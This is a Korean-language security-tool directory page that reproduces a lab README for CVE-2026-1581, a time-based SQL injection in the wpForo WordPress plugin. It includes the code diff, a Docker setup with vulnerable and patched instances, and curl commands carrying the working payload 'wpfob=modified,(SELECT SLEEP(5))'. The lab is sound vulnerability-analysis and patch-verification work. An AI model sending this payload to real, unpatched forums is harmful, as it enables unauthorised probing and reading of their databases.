Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-1581-Analysis-Lab — # CVE-2026-1581 재현 wpForo Forum <=2.4.14의 인증되지 않은 시간 기반 SQL 인젝션 취약점인 CVE-2026-1581을 Docker 랩과 PoC를 통해 재현하여 취약점을 시연하고 패치를 검증합니다. | Kitploit
도구/GitHubGitHub/rootdirective-sec/cve-2026-1581-analysis-lab
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubrootdirective-sec/cve-2026-1581-analysis-lab

CVE-2026-1581-Analysis-Lab

# CVE-2026-1581 재현 wpForo Forum <=2.4.14의 인증되지 않은 시간 기반 SQL 인젝션 취약점인 CVE-2026-1581을 Docker 랩과 PoC를 통해 재현하여 취약점을 시연하고 패치를 검증합니다.

저장소 보기
16개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-1581 — wpForo 포럼 (<= 2.4.14) 인증되지 않은 시간 기반 SQL 인젝션 (ORDER BY)

ภาษาไทย


요약

필드세부 정보
CVE IDCVE-2026-1581
플러그인wpForo 포럼
영향 버전<= 2.4.14
패치 버전2.4.15
취약점 유형인증되지 않은 시간 기반 SQL 인젝션 (ORDER BY)
CVSS 점수7.5 (높음)
CVSS 벡터CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • CVE-2026-1581은 wpForo 포럼 플러그인(<= 2.4.14)의 인증되지 않은 시간 기반 SQL 인젝션 취약점입니다. wpfob 매개변수가 텍스트 정화(sanitization)만 적용된 ORDER BY 절에서 사용되어, 인증되지 않은 공격자가 임의의 SQL 표현식을 주입하고 데이터베이스에서 데이터를 읽을 수 있습니다.

  • 공급업체는 sanitize_text_field()를 컨텍스트 인식 화이트리스트를 적용하는 wpforo_sanitize_orderby()로 교체하여 버전 2.4.15에서 이 문제를 수정했습니다.


범위 및 안전

  • localhost + Docker Compose 환경에서만 실행하십시오.

  • PoC는 취약한 버전과 패치된 버전의 차이를 입증하기 위한 시간 기반 타이밍 증명입니다.

  • 명시적 승인 없이 어떤 시스템에도 사용하지 마십시오.


한눈에 보는 증거

  • 버전 증명: /community/ 페이지가 /wp-content/plugins/wpforo/assets/js/frontend.js?ver=2.4.14(취약) vs 2.4.15(패치됨)를 로드합니다.

  • 코드 증명: sanitize_text_field(WPF()->GET['wpfob']) → wpforo_sanitize_orderby(..., context, default)

  • 동작 증명: wpfob=modified,(SELECT SLEEP(5))는 취약한 버전에서 약 5초 지연을 유발합니다. 패치된 버전은 기준 시간에 가깝게 응답합니다.


CVE 권고에서 관찰한 내용

  • CVE 권고는 wpfob 매개변수를 통한 시간 기반 SQL 인젝션이며 2.4.15에서 수정되었다고만 명시합니다. 분석 시점에 공개된 PoC는 없었습니다.

  • 따라서 이 분석 문서는 2.4.14와 2.4.15 간의 소스 코드 차이 분석(diffing) 을 통해 구축되었으며, HTTP 입력에서 정화 과정을 거쳐 SQL 쿼리 구성에 사용되는 지점까지 매개변수를 추적하여 근본 원인을 이해하고 문제를 재현했습니다.

vulnx CVE-2026-1581


1) 소스 코드 기반 분석

1.1 wpfob 찾기

소스 코드에서 wpfob를 grep으로 검색한 결과, Recent 페이지가 GET 매개변수에서 값을 직접 가져와 orderby 인자로 할당하는 것을 발견했습니다.

find wpfob

취약 버전 (2.4.14) — themes/classic/recent.php:

root@kitploit:~
  32 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
  74 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';

패치 버전 (2.4.15) — 동일 파일, 정화 함수 교체:

root@kitploit:~
  32 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
  74 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';

왜 recent.php에 집중하나요? wpfob가 $args['orderby']에 직접 할당되는 트리거 가능한 경로이기 때문입니다.


1.2 SQL까지의 데이터 흐름: ORDER BY ...

$args['orderby']가 설정되면 wpForo의 쿼리 빌더로 흘러가 ORDER BY 절을 구성합니다.

ORDER BY 연결 (취약 버전 2.4.14)

classes/Topics.php:

SQL 빌더: Topics.php의 ORDER BY 연결

classes/Posts.php:

SQL 빌더: Posts.php의 ORDER BY 연결

설명

  • sanitize_text_field()는 문자열을 제거/정화할 뿐 허용된 열 이름의 화이트리스트를 적용하지 않습니다.
  • orderby가 ORDER BY <orderby>에 직접 연결되므로, 공격자는 ORDER BY 위치에 임의의 SQL 표현식을 주입할 수 있습니다.

참조: https://developer.wordpress.org/reference/functions/sanitize_text_field/


1.3 패치/차이 분석 하이라이트 (2.4.14 → 2.4.15)

1.3.1 차이: recent.php

root@kitploit:~
32c32
< 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74c74
< 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';

1.3.2 차이: wpforo.php

root@kitploit:~
1036c1036
< 					$args['orderby'] = sanitize_text_field( $get['wpfob'] );
---
> 					$args['orderby'] = wpforo_sanitize_orderby( $get['wpfob'], 'search', 'relevancy' );
1077c1077
< 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
1153c1153
< 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';

1.3.3 새로운 패치 함수: wpforo_sanitize_orderby()

버전 2.4.15는 입력이 허용 목록에 없으면 기본값을 반환하는 컨텍스트 인식 화이트리스트 정화 함수를 도입했습니다:

whitelistor


2) 실험실 설계 (취약 vs 패치)

2.1 Docker Compose 서비스

  • wp_vuln (WordPress + wpForo 2.4.14) → http://localhost:8081
  • wp_patched (WordPress + wpForo 2.4.15) → http://localhost:8082
  • db_vuln / db_patched (MariaDB)
  • seed_vuln / seed_patched — wp-cli를 사용하여 WordPress 설치, 플러그인 설치, [wpforo] 숏코드로 /community/ 페이지 생성, 영구 링크 구성, .htaccess 생성, 검증 아티팩트 생성.

2.2 테스트 경로

소스 분석 결과 wpfob는 recent 페이지에서 명시적으로 사용됩니다:

  • http://localhost:8081/community/recent/?view=opened
  • http://localhost:8082/community/recent/?view=opened

3) 재현: 타이밍 증명

테스트 전에 최소 1개의 주제(topic)와 1개의 게시물(post)이 존재해야 합니다.

3.1 "게시물이 필요한" 이유

  • 이는 ORDER BY 인젝션 취약점입니다.
  • wpForo에 주제나 게시물이 없으면 쿼리가 0행을 반환할 수 있습니다. 이 경우 DB 측에서 정렬이 발생하지 않아 코드 경로가 ORDER BY 표현식을 평가하지 않을 수 있으며, 지연이 관찰되지 않아 오탐(false negative)이 발생할 수 있습니다.

최소 1개의 주제와 1개의 게시물이 필요합니다.

3.2 기준 타이밍

root@kitploit:~
curl -sS -L -o /dev/null -w "baseline_vuln=%{time_total}\n" \
  "http://localhost:8081/community/recent/?view=opened"

curl -sS -L -o /dev/null -w "baseline_patched=%{time_total}\n" \
  "http://localhost:8082/community/recent/?view=opened"

baseline

3.3 공격 타이밍

root@kitploit:~
curl -sS -L -o /dev/null -w "attack_vuln=%{time_total}\n" \
  --get "http://localhost:8081/community/recent/" \
  --data-urlencode "view=opened" \
  --data-urlencode "wpfob=modified,(SELECT SLEEP(5))"

curl -sS -L -o /dev/null -w "attack_patched=%{time_total}\n" \
  --get "http://localhost:8082/community/recent/" \
  --data-urlencode "view=opened" \
  --data-urlencode "wpfob=modified,(SELECT SLEEP(5))"

예상 결과

  • 취약 버전: attack_vuln ≈ baseline_vuln + ~5초
  • 패치 버전: attack_patched ≈ 기준 시간 (지연 없음)

3.4 결과

result


실행 가이드 — 실험실 구축 및 PoC 사용 방법 (CVE-2026-1581)

1) 실험실 구축 (취약 vs 패치)

1.1 사전 요구 사항

  • Docker Desktop + Docker Compose v2
  • 사용 가능한 포트: 8081 (취약), 8082 (패치)

1.2 필요한 파일

  • docker-compose.yml
  • scripts/seed-wp.sh

1.3 실험실 시작

프로젝트 폴더에서:

root@kitploit:~
docker compose up -d

1.4 확인

두 인스턴스 모두 접근 가능한지 확인:

  • 취약: http://localhost:8081/community/
  • 패치: http://localhost:8082/community/

그리고 recent 페이지:

  • 취약: http://localhost:8081/community/recent/?view=opened
  • 패치: http://localhost:8082/community/recent/?view=opened

vuln home page vuln community page vuln recent page

1.5 wp-cli를 통한 주제/게시물 시드 (실험실 전용)

재현성 보장 및 오탐 방지를 위해 필요합니다.

root@kitploit:~
# 1) 개수 확인 (취약)
docker compose run --rm --entrypoint sh seed_vuln -lc '
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
wp db query "SELECT COUNT(*) AS topics FROM ${PREFIX}wpforo_topics;" --allow-root
wp db query "SELECT COUNT(*) AS posts  FROM ${PREFIX}wpforo_posts;"  --allow-root
'

# 2) 주제 1개 및 게시물 1개 삽입 (취약)
docker compose run --rm --entrypoint sh seed_vuln -lc '
set -eu
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
UID=$(wp user get admin --field=ID --allow-root)
FID=$(wp db query "SELECT forumid FROM ${PREFIX}wpforo_forums WHERE is_cat=0 ORDER BY forumid ASC LIMIT 1;" --skip-column-names --allow-root)

wp db query "INSERT INTO ${PREFIX}wpforo_topics (forumid, userid, title, slug, created, modified) VALUES (${FID}, ${UID}, \"Timing Test\", \"timing-test\", NOW(), NOW());" --allow-root
TID=$(wp db query "SELECT MAX(topicid) FROM ${PREFIX}wpforo_topics;" --skip-column-names --allow-root)

wp db query "INSERT INTO ${PREFIX}wpforo_posts (forumid, topicid, userid, title, body, created, modified, is_first_post) VALUES (${FID}, ${TID}, ${UID}, \"Timing Test\", \"Hello\", NOW(), NOW(), 1);" --allow-root
PID=$(wp db query "SELECT MAX(postid) FROM ${PREFIX}wpforo_posts;" --skip-column-names --allow-root)

wp db query "UPDATE ${PREFIX}wpforo_topics SET first_postid=${PID}, last_post=${PID}, posts=1, modified=NOW() WHERE topicid=${TID};" --allow-root

echo "seeded forumid=${FID} topicid=${TID} postid=${PID}"
'

패치된 인스턴스의 경우 seed_vuln을 seed_patched로 교체하십시오.


2) PoC 사용

2.1 종속성 설치

가상 환경 사용을 권장합니다:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip3 install -U pip
pip3 install -r requirements.txt

2.2 PoC 실행

root@kitploit:~
# 취약 버전
python3 poc.py http://localhost:8081

# 패치 버전
python3 poc.py http://localhost:8082

2.3 PoC 출력

POC


3) 정리

root@kitploit:~
docker compose down -v

참조

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-1581
  • Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/id/4c447dbb-f8fb-4b46-9c47-20ab7330bbaa?source=cve
도구 다운로드